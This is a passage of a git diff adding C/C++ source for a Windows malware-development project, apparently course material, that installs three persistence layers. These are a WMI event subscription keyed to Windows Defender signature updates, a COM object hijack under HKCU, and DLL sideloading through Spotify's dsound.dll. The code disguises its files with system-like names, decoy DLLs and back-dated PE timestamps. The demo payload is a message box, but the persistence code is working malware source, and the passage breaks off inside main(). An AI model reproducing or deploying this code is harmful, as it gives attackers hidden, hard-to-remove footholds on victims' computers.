+ pNtHdrs->FileHeader.NumberOfSections++;
+ pNtHdrs->FileHeader.TimeDateStamp = dwTimeDateStamp;
+ pNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress = dwSectionVA;
+ pNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size = dwBlobSize;
+ // SizeOfImage should be rounded up to SectionAlignment
+ pNtHdrs->OptionalHeader.SizeOfImage = dwSectionVA + ALIGN_UP(dwBlobSize, dwSectionAlign);
+ pNtHdrs->OptionalHeader.CheckSum = ComputePECheckSum((PVOID)uNewBuffer, dwNewFileSize);
+
+ DBG("[+] NT Headers Patched | SizeOfImage: 0x%08X | Export VA: 0x%08X | CheckSum: 0x%08X",
+ pNtHdrs->OptionalHeader.SizeOfImage, dwSectionVA, pNtHdrs->OptionalHeader.CheckSum);
+
+ *puFileBuffer = uNewBuffer;
+ *pdwFileSize = dwNewFileSize;
+ bResult = TRUE;
+
+_END_OF_FUNC:
+ if (!bResult)
+ HEAP_FREE(uNewBuffer);
+ return bResult;
+}
+
+
+BOOL ConvertExecutableToDll(IN LPCSTR pszOriginalDllPath, IN LPCSTR pszCopiedDllName, IN ULONG_PTR uDllMain, OUT PBYTE* ppDllBuffer, OUT DWORD* pdwDllFileSize)
+{
+ WCHAR wszExePath[MAX_PATH] = { 0 };
+ PBYTE pOriginalDllBuffer = NULL;
+ DWORD dwOriginalDllSize = 0x00;
+ PEXPORT_ENTRY pExportTable = NULL;
+ DWORD dwExportCount = 0x00;
+ DWORD dwDllMainRva = 0x00;
+ DWORD dwOriginalDllTimeStamp = 0x00;
+ ULONG_PTR uFileBuffer = 0x00;
+ HMODULE hCurrentModule = NULL;
+ DWORD dwFileSize = 0x00;
+ PIMAGE_NT_HEADERS pImgNtHdrs = NULL;
+ LPWSTR pwszOriginalDllPath = NULL;
+
+ if (!ppDllBuffer || !pdwDllFileSize || !uDllMain || !pszOriginalDllPath || !pszCopiedDllName)
+ return FALSE;
+
+ *ppDllBuffer = NULL;
+ *pdwDllFileSize = 0x00;
+
+ hCurrentModule = GetModuleHandle(NULL);
+
+ // Calculate DllMain's RVA is to set as the DLL entry point after patching
+ dwDllMainRva = (DWORD)(uDllMain - (ULONG_PTR)hCurrentModule);
+
+ // Read self executable from disk
+ if (GetModuleFileNameW(hCurrentModule, wszExePath, MAX_PATH) == 0)
+ {
+ DBG_LAST_ERROR("GetModuleFileNameW");
+ goto _END_OF_FUNC;
+ }
+
+ if (!ReadFileFromDiskW(wszExePath, (PBYTE*)&uFileBuffer, &dwFileSize))
+ goto _END_OF_FUNC;
+
+ pImgNtHdrs = (PIMAGE_NT_HEADERS)(uFileBuffer + ((PIMAGE_DOS_HEADER)uFileBuffer)->e_lfanew);
+ if (((PIMAGE_DOS_HEADER)uFileBuffer)->e_magic != IMAGE_DOS_SIGNATURE || pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
+ {
+ DBG("[!] Invalid PE Headers");
+ goto _END_OF_FUNC;
+ }
+
+ // Flip the DLL characteristic bit and redirect the entry point to DllMain
+ pImgNtHdrs->FileHeader.Characteristics |= IMAGE_FILE_DLL;
+ pImgNtHdrs->OptionalHeader.AddressOfEntryPoint = dwDllMainRva;
+ pImgNtHdrs->OptionalHeader.Subsystem = IMAGE_SUBSYSTEM_WINDOWS_GUI;
+
+ // Read the original DLL. Required by GetDllTimestamp and BuildExportTableFromDll
+ if (!(pwszOriginalDllPath = (LPWSTR)ConvertString((LPVOID)pszOriginalDllPath, lstrlenA(pszOriginalDllPath), ENCODING_ANSI_TO_WIDE)))
+ goto _END_OF_FUNC;
+
+ if (!ReadFileFromDiskW(pwszOriginalDllPath, &pOriginalDllBuffer, &dwOriginalDllSize))
+ {
+ DBG("[!] Failed To Read Original DLL: %s", pszOriginalDllPath);
+ HEAP_FREE(pwszOriginalDllPath);
+ goto _END_OF_FUNC;
+ }
+
+ HEAP_FREE(pwszOriginalDllPath);
+
+ // Get a 30 days older timestamp than the original DLL or 60 days older than now
+ dwOriginalDllTimeStamp = GetDllTimestamp(pOriginalDllBuffer, dwOriginalDllSize);
+
+ // Build a forwarded export table that mirrors the original DLL's exports.
+ if (!BuildExportTableFromDll((ULONG_PTR)pOriginalDllBuffer, dwOriginalDllSize, pszCopiedDllName, &pExportTable, &dwExportCount))
+ {
+ DBG("[!] Failed To Build Export Table From: %s", pszOriginalDllPath);
+ goto _END_OF_FUNC;
+ }
+
+ // Linker always emits a 'coffgrp' debug entry regardless of debug settings.
+ // So we patch it to match the export table and nt headers
+ {
+ DWORD dwDbgDirRva = pImgNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_DEBUG].VirtualAddress;
+ if (dwDbgDirRva)
+ {
+ PIMAGE_DEBUG_DIRECTORY pDebugDir = (PIMAGE_DEBUG_DIRECTORY)(uFileBuffer + RvaToFileOffset(pImgNtHdrs, dwDbgDirRva));
+ DWORD dwDbgCount = pImgNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_DEBUG].Size / sizeof(IMAGE_DEBUG_DIRECTORY);
+
+ for (DWORD i = 0; i < dwDbgCount; i++)
+ pDebugDir[i].TimeDateStamp = dwOriginalDllTimeStamp;
+ }
+ }
+
+ // Append a new ".edata" section to the PE buffer and populate it with the forwarded export directory built using BuildExportTableFromDll
+ if (!PatchExportAddressTable(&uFileBuffer, &dwFileSize, PathFindFileNameA(pszOriginalDllPath), pExportTable, dwExportCount, dwOriginalDllTimeStamp))
+ goto _END_OF_FUNC;
+
+ *ppDllBuffer = (PBYTE)uFileBuffer;
+ *pdwDllFileSize = dwFileSize;
+
+_END_OF_FUNC:
+ HEAP_FREE(pOriginalDllBuffer);
+ HEAP_FREE(pExportTable);
+ if (!*ppDllBuffer)
+ HEAP_FREE(uFileBuffer);
+ return *ppDllBuffer ? TRUE : FALSE;
+}
+
diff --git a/3LayersPersistence/CrtStubs.cpp b/3LayersPersistence/CrtStubs.cpp
new file mode 100644
index 0000000..dbb13b5
--- /dev/null
+++ b/3LayersPersistence/CrtStubs.cpp
@@ -0,0 +1,26 @@
+// If compiled in "Stripped" mode
+#if !defined(_DEBUG) && !defined(NDEBUG)
+
+#include
+
+#pragma function(memset)
+void* memset(void* dst, int val, size_t size)
+{
+ unsigned char* p = (unsigned char*)dst;
+ while (size--)
+ *p++ = (unsigned char)val;
+ return dst;
+}
+
+#pragma function(memcpy)
+void* memcpy(void* dst, const void* src, size_t size)
+{
+ unsigned char* d = (unsigned char*)dst;
+ const unsigned char* s = (const unsigned char*)src;
+ while (size--)
+ *d++ = *s++;
+ return dst;
+}
+
+
+#endif
diff --git a/3LayersPersistence/Headers.h b/3LayersPersistence/Headers.h
new file mode 100644
index 0000000..d31d694
--- /dev/null
+++ b/3LayersPersistence/Headers.h
@@ -0,0 +1,278 @@
+#pragma once
+#ifndef HEADERS_H
+#define HEADERS_H
+
+#include
+#include
+#include
+#include
+#include
+
+#pragma comment(lib, "Wtsapi32.lib")
+#pragma comment(lib, "Wbemuuid.lib")
+#pragma comment(lib, "advapi32.lib")
+
+// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
+// TUNABLE CONSTANTS
+// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
+
+// ==============================================================
+// LAYER 1 - WMI PERSISTENCE
+// Monitors a registry value change to trigger execution of our
+// dropped executable via a WMI event subscription.
+// ==============================================================
+#define WMI_OBJECT_PREFIX L"MaldevAcademy"
+#define WMI_TRIGGER_DELAY 30 // Seconds to wait before firing after the event is triggered
+#define WMI_TRIGGER_REG_HIVE L"HKEY_LOCAL_MACHINE"
+#define WMI_TRIGGER_REG_KEY L"SOFTWARE\\Microsoft\\Windows Defender\\Signature Updates"
+#define WMI_TRIGGER_REG_VALUE L"SignatureUpdateLastAttempted" // Timestamp that will change when windows defender does a signature update
+#define WMI_EXE_INSTALLATION_DIR L"%SystemRoot%\\System32\\wbem" // Directory created to host our persisting executable
+#define WMI_EXE_INSTALLATION_NAME L"SgrmBroker.exe"
+
+// ==============================================================
+// LAYER 2 - COM HIJACK
+// Hijacks a COM object by creating a matching CLSID key under HKCU.
+// HKCU is checked before HKLM, so our DLL gets loaded instead of the real one.
+//
+// The real HKLM registration (used to identify the system DLL to forward calls to) is:
+// C:\Windows\System32\Windows.StateRepositoryPS.dll
+//
+// Fetched by calling:
+// (Get-Item 'HKLM:\Software\Classes\CLSID\{c53e07ec-25f3-4093-aa39-fc67ea22e99d}\InProcServer32').GetValue('')
+//
+// The hijacked key we create under HKCU is:
+// HKCU\Software\Classes\CLSID\{c53e07ec-25f3-4093-aa39-fc67ea22e99d}\InProcServer32
+// ==============================================================
+#define COM_HIJACK_KEY L"Software\\Classes\\CLSID\\{c53e07ec-25f3-4093-aa39-fc67ea22e99d}\\InProcServer32"
+#define COM_THREADING_MODEL L"ThreadingModel"
+#define COM_THREADING_VALUE L"Both"
+#define COM_DLL_DIR L"%APPDATA%\\Microsoft\\Common" // Directory created to host our COM DLL
+#define COM_PAYLOAD_DLL_NAME L"MsComHost.dll" // Our DLL. this is what the hijacked COM object will load
+#define COM_FORWARD_DLL_NAME L"Common.StateRepositoryRM.dll" // Renamed copy of the original system DLL (Windows.StateRepositoryPS.dll), used to forward exported function calls
+#define COM_SYSTEM_DLL_NAME L"Windows.StateRepositoryPS.dll" // The original system DLL under System32 that we copy and rename as Common.StateRepositoryRM.dll
+
+// Real Ms*.dll files copied from System32 next to our payload (MsComHost.dll) to make the directory look legitimate
+// Fetched by calling:
+// (Get-ChildItem -Path "C:\Windows\System32" -Filter "Ms*.dll")
+#define COM_DECOY_DLL_1 L"MsApoFxProxy.dll"
+#define COM_DECOY_DLL_2 L"msvfw32.dll"
+#define COM_DECOY_DLL_3 L"msfeeds.dll"
+#define COM_DECOY_DLL_4 L"msprivs.dll"
+#define COM_DECOY_DLL_5 L"msvcrt.dll"
+#define COM_DECOY_DLL_6 L"MSVidCtl.dll"
+
+#define COM_DECOY_DLLS_COUNT 6
+#define GET_DLL(N) COM_DECOY_DLL_##N // Resolves to COM_DECOY_DLL_N at compile time
+#define DLL_ENTRY(N) GET_DLL(N)
+
+
+// ==============================================================
+// LAYER 3 - DLL SIDELOADING
+// Spotify loads dsound.dll from its own directory before System32.
+// We place our DLL as dsound.dll, and drop the real dsound.dll
+// (renamed to dspatial.dll) alongside it to forward function calls.
+// ==============================================================
+#define SIDELOAD_PAYLOAD_DLL L"dsound.dll" // Our payload DLL name — matches what Spotify loads
+#define SIDELOAD_FORWARD_DLL L"dspatial.dll" // Renamed original dsound.dll from System32, used to forward exports
+#define SIDELOAD_APP_DIR L"%APPDATA%\\Spotify" // Spotify's directory — vulnerable to local DLL sideloading
+
+
+// ==============================================================
+// PAYLOAD CONFIGURATION
+// Registry key written during initial execution to signal the persisting WMI executable
+// that the 2nd and 3rd persistence layers are already deployed,
+// preventing redundant re-patching to dlls and re-installation.
+// ==============================================================
+#define CONFIG_REG_KEY L"Software\\" WMI_OBJECT_PREFIX L"\\XXXX"
+#define CONFIG_REG_VALUE_NAME L"AppIdentifier"
+#define CONFIG_REG_VALUE_DATA 0x4C4C554E
+
+// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
+// GENERAL CONSTANTS
+// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
+
+#define BUFFER_SIZE_16 16
+#define BUFFER_SIZE_32 32
+#define BUFFER_SIZE_64 64
+#define BUFFER_SIZE_128 128
+#define BUFFER_SIZE_256 256
+#define BUFFER_SIZE_512 512
+#define BUFFER_SIZE_1024 1024
+#define BUFFER_SIZE_2048 2048
+#define BUFFER_SIZE_4096 4096
+#define BUFFER_SIZE_8192 8192
+
+#define FNV_OFFSET_BASIS 14695981039346656037ULL
+#define FNV_PRIME 1099511628211ULL
+#define FNV_MUL_HH 0x9E3779B97F4A7C15ULL
+#define FNV_MUL_MM 0x6C62272E07BB0142ULL
+#define FNV_MUL_SS 0xBF58476D1CE4E5B9ULL
+
+#define MUTEX_NAME_FMT "Global\\%016I64X"
+
+// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
+// DATA DEFINITIONS
+// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
+
+typedef struct _EXPORT_ENTRY
+{
+ LPCSTR pszName; // Export Function Name. If Set to NULL, Function is Exported vua Ordinal Only
+ ULONG_PTR uFuncAddress; // RVA of Function. If Set to NULL, The Function is Forwarded
+ WORD wOrdinal; // Ordinal Value. The Value 'INVALID_ORDINAL' Marks End Of Table
+ LPCSTR pszForward; // Forward String (e.g. "NTDLL.RtlAllocateHeap", "NTDLL.#1053"). If Set to NULL, Function is Exported By Name (pszName) or Ordinal (wOrdinal).
+} EXPORT_ENTRY, *PEXPORT_ENTRY;
+
+#define EDATA_SECTION_NAME ".edata"
+#define INVALID_ORDINAL (WORD)(0xFFFFF)
+#define ALIGN_UP(x, align) (((x) + (align) - 1) & ~((align) - 1))
+
+// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
+// UTILITIES FUNCTIONS
+// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
+
+
+typedef enum _STRING_ENCODING
+{
+ ENCODING_ANSI_TO_WIDE,
+ ENCODING_WIDE_TO_ANSI,
+ ENCODING_UTF8_TO_WIDE,
+ ENCODING_WIDE_TO_UTF8,
+ ENCODING_ANSI_TO_UTF8,
+ ENCODING_UTF8_TO_ANSI
+
+} STRING_ENCODING;
+
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+ LPVOID ConvertString(IN LPVOID pvSrc, IN INT cbSrc, IN STRING_ENCODING Encoding);
+
+ BOOL ReadFileFromDiskW(IN LPCWSTR szFileName, OUT PBYTE* ppFileBuffer, OUT PDWORD pdwFileSize);
+
+ BOOL WriteFileToDiskW(IN LPCWSTR pszFileName, IN CONST BYTE* pbDataBuffer, IN DWORD dwDataLength);
+
+ BOOL CloneFileTimestampsW(IN LPCWSTR pwszSrcPath, IN LPCWSTR pwszDstPath);
+
+ BOOL SetRegistryStringW(IN HKEY hRoot, IN LPCWSTR pwszPath, IN LPCWSTR pwszName, IN LPCWSTR pwszValue, IN BOOL bOverwrite);
+
+ BOOL SetRegistryDwordW(IN HKEY hRoot, IN LPCWSTR pwszPath, IN LPCWSTR pwszName, IN DWORD dwValue, IN BOOL bOverwrite);
+
+ BOOL GetRegistryDwordW(IN HKEY hRoot, IN LPCWSTR pwszPath, IN LPCWSTR pwszName, OUT PDWORD pdwOutput);
+
+ BOOL DeleteRegistryKeyW(IN HKEY hRoot, IN LPCWSTR pwszPath);
+
+ BOOL GetSystem32PathW(IN LPCWSTR pwszFileName, OUT LPWSTR pwszOutPath, IN DWORD dwOutSize);
+
+ BOOL EnsureDirectoryExistsW(IN LPCWSTR pwszPath, IN BOOL bIsFilePath);
+
+ BOOL CopyFileToDirW(IN LPCWSTR pwszDestPath, IN OPTIONAL LPCWSTR pwszDestName, IN OPTIONAL LPCWSTR pwszSrcPath, IN LPCWSTR pwszSrcName, OUT OPTIONAL LPWSTR pwszOutFullPath, IN OPTIONAL DWORD dwOutFullPathSize);
+
+#ifdef __cplusplus
+}
+#endif
+
+// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
+// PERSISTENCE FUNCTIONS
+// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
+
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+ BOOL ConvertExecutableToDll(IN LPCSTR pszOriginalDllPath, IN LPCSTR pszCopiedDllName, IN ULONG_PTR uDllMain, OUT PBYTE* ppDllBuffer, OUT DWORD* pdwDllFileSize);
+
+ BOOL VerifyOrCreateRegistryFlag(IN HKEY hRoot, IN LPCWSTR pwszPath, IN LPCWSTR pwszName, IN DWORD dwExpectedValue, OUT OPTIONAL BOOL* pbAlreadyExisted);
+
+ BOOL AcquirePayloadMutex(OUT HANDLE* phMutex);
+
+ VOID ReleasePayloadMutex(IN HANDLE hMutex);
+
+ BOOL DropExecutableForWmi();
+
+ BOOL InstallComHijack(IN BYTE* pDllFileBuffer, IN DWORD dwDllFileSize);
+
+ BOOL DropSideloadDlls(IN BYTE* pDllFileBuffer, IN DWORD dwDllFileSize);
+
+#ifdef __cplusplus
+}
+#endif
+
+// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
+// MACROS
+// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
+
+#ifdef __cplusplus
+
+#define HEAP_ALLOC(ptr, size) \
+ do { \
+ (ptr) = (decltype(ptr))HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (size)); \
+ if (!(ptr)) DBG_LAST_ERROR("HeapAlloc"); \
+ } while (0)
+
+#define HEAP_REALLOC(ptr, size) \
+ do { \
+ LPVOID _pTmp = HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (LPVOID)(ptr), (size)); \
+ if (!_pTmp) { DBG_LAST_ERROR("HeapReAlloc"); } \
+ else { (ptr) = (decltype(ptr))_pTmp; } \
+ } while (0)
+
+
+#else //!__cplusplus
+
+#define HEAP_ALLOC(ptr, size) \
+ do { \
+ (ptr) = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (size)); \
+ if (!(ptr)) DBG_LAST_ERROR("HeapAlloc"); \
+ } while (0)
+
+#define HEAP_REALLOC(ptr, size) \
+ do { \
+ LPVOID _pTmp = HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (LPVOID)(ptr), (size)); \
+ if (!_pTmp) { DBG_LAST_ERROR("HeapReAlloc"); } \
+ else { (ptr) = _pTmp; } \
+ } while (0)
+
+#endif // __cplusplus
+
+
+#define BSTR_LITERAL(s) (BSTR)(s)
+
+#define SAFE_FREE_BSTR(bstr) \
+ if (bstr) \
+ { \
+ SysFreeString((BSTR)(bstr)); \
+ bstr = NULL; \
+ }
+
+#define HEAP_FREE(ptr) \
+ do { \
+ if (ptr) { \
+ HeapFree(GetProcessHeap(), 0, (LPVOID)(ptr)); \
+ (ptr) = 0x00; \
+ } \
+ } while (0)
+
+#define HEAP_SECURE_FREE(ptr, size) \
+ do { \
+ if (ptr) { \
+ SecureZeroMemory((PVOID)(ptr), (size)); \
+ HeapFree(GetProcessHeap(), 0, (LPVOID)(ptr)); \
+ (ptr) = 0x00; \
+ } \
+ } while (0)
+
+#define CLOSE_HANDLE(handle) \
+ do { \
+ if ((handle) && (handle) != INVALID_HANDLE_VALUE) { \
+ CloseHandle((handle)); \
+ (handle) = NULL; \
+ } \
+ } while (0)
+
+
+
+#endif // !HEADERS_H
+
diff --git a/3LayersPersistence/Main.c b/3LayersPersistence/Main.c
new file mode 100644
index 0000000..cfd361e
--- /dev/null
+++ b/3LayersPersistence/Main.c
@@ -0,0 +1,311 @@
+#include "Headers.h"
+
+// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
+// GLOBAL VARIABLES
+// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
+
+// Pinned module handle set in DllMain.
+// This is used by RunMessageBox ("Payload" Function) to identify the DLL name in the message
+static HMODULE g_hPinnedModule = NULL;
+
+// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
+// HELPERS
+// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
+
+static LPCWSTR GetCurrentImageName(IN OPTIONAL HMODULE hModule)
+{
+ static WCHAR szDllPath[MAX_PATH] = { 0 };
+ static WCHAR szProcPath[MAX_PATH] = { 0 };
+
+ WCHAR* szTarget = (hModule != NULL) ? szDllPath : szProcPath;
+
+ RtlSecureZeroMemory(szTarget, MAX_PATH * sizeof(WCHAR));
+
+ if (!GetModuleFileNameW(hModule, szTarget, MAX_PATH))
+ return L"";
+
+ return PathFindFileNameW(szTarget);
+}
+
+// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
+// "Payload" Function
+// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
+
+static DWORD RunMessageBox(IN LPVOID pIsDllPayloadFile)
+{
+ WCHAR wszCaption[MAX_PATH] = { 0 };
+ WCHAR wszMessage[MAX_PATH] = { 0 };
+ DWORD dwSessionId = WTSGetActiveConsoleSessionId();
+ DWORD dwResponse = 0x00;
+
+ if (pIsDllPayloadFile)
+ {
+ if (wsprintfW(wszCaption, L"Injected Into: %ws", GetCurrentImageName(NULL)) < 0)
+ {
+ DBG_LAST_ERROR("wsprintfW");
+ return 0x00;
+ }
+
+ if (wsprintfW(wszMessage, L"Hello from %ws! (%ld)", GetCurrentImageName(g_hPinnedModule), GetCurrentProcessId()) < 0)
+ {
+ DBG_LAST_ERROR("wsprintfW");
+ return 0x00;
+ }
+ }
+ else
+ {
+ if (wsprintfW(wszCaption, L"Running As: %ws", GetCurrentImageName(NULL)) < 0)
+ {
+ DBG_LAST_ERROR("wsprintfW");
+ return 0x00;
+ }
+
+ if (wsprintfW(wszMessage, L"Hello from %ws! (%ld)", GetCurrentImageName(NULL), GetCurrentProcessId()) < 0)
+ {
+ DBG_LAST_ERROR("wsprintfW");
+ return 0x00;
+ }
+ }
+
+ WTSSendMessageW(
+ WTS_CURRENT_SERVER_HANDLE,
+ dwSessionId,
+ wszCaption, (DWORD)(lstrlenW(wszCaption) * sizeof(WCHAR)),
+ wszMessage, (DWORD)(lstrlenW(wszMessage) * sizeof(WCHAR)),
+ MB_OK | MB_ICONINFORMATION,
+ 0,
+ &dwResponse,
+ TRUE
+ );
+
+ return 0x00;
+}
+
+// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
+// DLL ENTRY POINT LOGIC
+// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
+
+static DWORD WINAPI DllPayloadThread(IN LPVOID lpParameter)
+{
+ // The module refcount bump taken in DllMain is intentionally never released here —
+ // dropping it would allow the COM host to unload us while still holding pointers
+ // to our forwarded exports, causing the next COM call to fault on unmapped memory.
+ // The kernel releases the refcount automatically when the process exits.
+ UNREFERENCED_PARAMETER(lpParameter);
+
+ static HANDLE hMutexHandle = NULL;
+ static BOOL bAlreadyRanInCurrentProcess = FALSE;
+
+ // if another process already owns the mutex, the payload is already running system-wide and we should not execute again
+ if (AcquirePayloadMutex(&hMutexHandle))
+ {
+ DBG("[!] Payload Already Running In Another Process. Skipping...");
+ return 0x00;
+ }
+
+ // The COM host may unload and reload our DLL multiple times within the same process lifetime
+ // The static flag survives reloads and prevents re-execution in that case.
+ // InterlockedCompareExchange guards against two DllPayloadThread(s) racing if
+ // the COM host loads us on two threads simultaneously.
+ if (InterlockedCompareExchange((LONG*)&bAlreadyRanInCurrentProcess, TRUE, FALSE))
+ {
+ DBG("[!] Payload Already Executed In This Process. Skipping...");
+ return 0x00;
+ }
+
+ RunMessageBox((PVOID)TRUE);
+
+ return 0x00;
+}
+
+
+BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved)
+{
+ UNREFERENCED_PARAMETER(hModule);
+ UNREFERENCED_PARAMETER(lpReserved);
+
+ static HMODULE hCurrModule = NULL;
+ HANDLE hThread = NULL;
+ HMODULE hPinnedModule = NULL;
+
+ switch (dwReason)
+ {
+ case DLL_PROCESS_ATTACH:
+ {
+ // Bump our own module refcount before spawning the thread.
+ // Without this bump, if the host process calls FreeLibrary while our thread is still
+ // running, the refcount drops to zero and the loader unmaps us, crashing the process.
+ // GetModuleHandleExW with GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS (and without
+ // GET_MODULE_HANDLE_EX_FLAG_UNCHANGED_REFCOUNT) increments the module refcount,
+ // guaranteeing the loader cannot unmap our module for as long as we hold this
+ // extra reference. We intentionally never call FreeLibrary on hPinnedModule, and
+ // instead leave the kernel to drop it on process exit.
+ if (!GetModuleHandleExW(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS, (LPCWSTR)DllPayloadThread, &hPinnedModule))
+ {
+ DBG_LAST_ERROR("GetModuleHandleExW");
+ return TRUE;
+ }
+
+ hCurrModule = hPinnedModule;
+ g_hPinnedModule = hPinnedModule;
+
+ DisableThreadLibraryCalls(hCurrModule);
+
+ DBG("[*] DLL %ws Attached To PID: %lu | Process: %ws | At: 0x%p",
+ GetCurrentImageName(hCurrModule),
+ GetCurrentProcessId(),
+ GetCurrentImageName(NULL),
+ hCurrModule);
+
+ if (!(hThread = CreateThread(NULL, 0x00, DllPayloadThread, NULL, 0x00, NULL)))
+ {
+ DBG_LAST_ERROR("CreateThread");
+
+ // Thread creation failed, so we have to release the refcount we made.
+ // Without this, the DLL can never be unloaded cleanly by the COM host
+ FreeLibrary(hPinnedModule);
+ }
+
+ CLOSE_HANDLE(hThread);
+ break;
+ }
+
+ case DLL_PROCESS_DETACH:
+ {
+ // Mutex is intentionally not released here.
+ // Releasing on detach would allow re-acquisition on the next
+ // DLL_PROCESS_ATTACH, breaking the mutex guard. The COM host frequently
+ // unloads and reloads DLLs between COM calls, so detach does not mean the
+ // process is exiting. The kernel releases the mutex automatically when the
+ // process truly exits.
+ DBG_CLOSE();
+ break;
+ }
+
+ case DLL_THREAD_ATTACH:
+ case DLL_THREAD_DETACH:
+ break;
+ }
+
+ return TRUE;
+}
+
+// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
+// EXE ENTRY POINT LOGIC
+// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
+
+int main()
+{
+ HANDLE hMutex = NULL;
+ PBYTE pDllFileBuffer = NULL;
+ DWORD dwDllFileSize = 0x00;
+ LPSTR pszDllName = NULL,
+ pszSystem32DllPath = NULL;
+ WCHAR wszSystem32DllPath[MAX_PATH] = { 0 };
+ BOOL bAlreadyInstalled = FALSE;
+
+ if (AcquirePayloadMutex(&hMutex))
+ {
+ DBG("[!] Payload Already Running. Exiting...");
+ return 0;
+ }
+
+ // Check if persistence layers were already installed in a previous run.
+ if (!VerifyOrCreateRegistryFlag(HKEY_CURRENT_USER, CONFIG_REG_KEY, CONFIG_REG_VALUE_NAME, CONFIG_REG_VALUE_DATA, &bAlreadyInstalled))
+ return -1;
+
+ if (bAlreadyInstalled)
+ {
+ DBG("[i] Persistence Layers Already Installed, Skipping...");
+ goto _RUN_PAYLOAD;
+ }
+
+ // ==============================================================
+ // LAYER 3 - DLL SIDELOAD
+ // Reads exports from the real dsound.dll in System32, patches our
+ // EXE into a proxy DLL that forwards all calls to dspatial.dll,
+ // then drops both into Spotify's directory.
+ // Spotify loads dsound.dll from its own directory before System32,
+ // so our proxy gets loaded instead of the real one.
+ // ==============================================================
+
+ // Forward DLL name is the renamed copy of the real dsound.dll (dspatial.dll)
+ if (!(pszDllName = (LPSTR)ConvertString((LPVOID)SIDELOAD_FORWARD_DLL, lstrlenW(SIDELOAD_FORWARD_DLL), ENCODING_WIDE_TO_ANSI)))
+ return -1;
+
+ // Resolve the full System32 path of the real dsound.dll to read its exports
+ if (!GetSystem32PathW(SIDELOAD_PAYLOAD_DLL, wszSystem32DllPath, ARRAYSIZE(wszSystem32DllPath)))
+ goto _END_OF_FUNC;
+
